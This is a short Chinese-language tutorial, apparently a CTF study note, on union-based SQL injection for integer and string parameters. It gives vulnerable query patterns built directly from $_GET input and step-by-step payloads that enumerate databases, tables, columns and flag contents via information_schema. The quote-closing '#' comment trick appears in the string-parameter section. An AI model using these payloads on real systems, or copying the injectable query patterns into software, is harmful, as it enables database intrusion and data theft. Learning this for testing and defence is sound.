Sql注入——整数型和字符型

Sql注入介绍

SQL注入(SQLi)是一种注入攻击,,可以执行恶意SQL语句。它通过将任意SQL代码插入数据库查询,使攻击者能够完全控制Web应用程序后面的数据库服务器。

联合查询注入

语句:

语句A union 语句B

关键:

1.字段名按位置关系继承

2.若只回显B语句,让A结果为空

3.前后两语句返回字段数必须相等(确定字段数)


基本步骤

确定字段数、回显位-->查数据库-->查表-->查字段数-->查内容

整数型注入

PHP源码:

select * from tablename where id = $_GET['id']

确定字段数和回显位:xxx union select 1xxx union select 1,2……

xxx为不存在的用户名,使语句A返回结果为空

查数据库:

select * from tableName where id = xxx union select 1,group_concat(schema_name),3 from information_schema.schemata

information_schema库的schemata表保存了所有数据库的名称 schemata_nametables表保存了所有的表名 table_name列对应数据库名table_scemacolumns表保存了所有字段名column_name列对应表名table_name和数据库名table_shcema

查询表

select * from tablename where id = xxx union select 1,group_concat(table_name),3 from information_schema.tables

查询字段

select * from tablename where id = xxx union select 1,group_concat(column_name),3 from information_schema.columns where table_name="flag" 

查内容

select * from tablename where id = xxx union select 1,group_concat(theflagcolumn),3 from xxxtable

字符型注入

PHP源码

select * from tableName where username='$_GET['username']' and username='$_GET['password']' 

关键:通过注释符#将后面的引号注释,使注入语句脱离引号。(URL中%23为#的编码)

确定字段数和回显位:xxx' union select 1 #'xxx' union select 1,2 #'……

查数据库:

select * from tableName where id = 'xxx' union select 1,group_concat(schema_name),3 from information_schema.schemata #'

查询表

select * from tablename where id = 'xxx' union select 1,group_concat(table_name),3 from information_schema.tables #'

查询字段

select * from tablename where id = 'xxx' union select 1,group_concat(column_name),3 from information_schema.columns where table_name="flag"  #'

查内容

select * from tablename where id = 'xxx' union select 1,group_concat(theflagcolumn),3 from xxxtable #'

你可能感兴趣的:(MySql)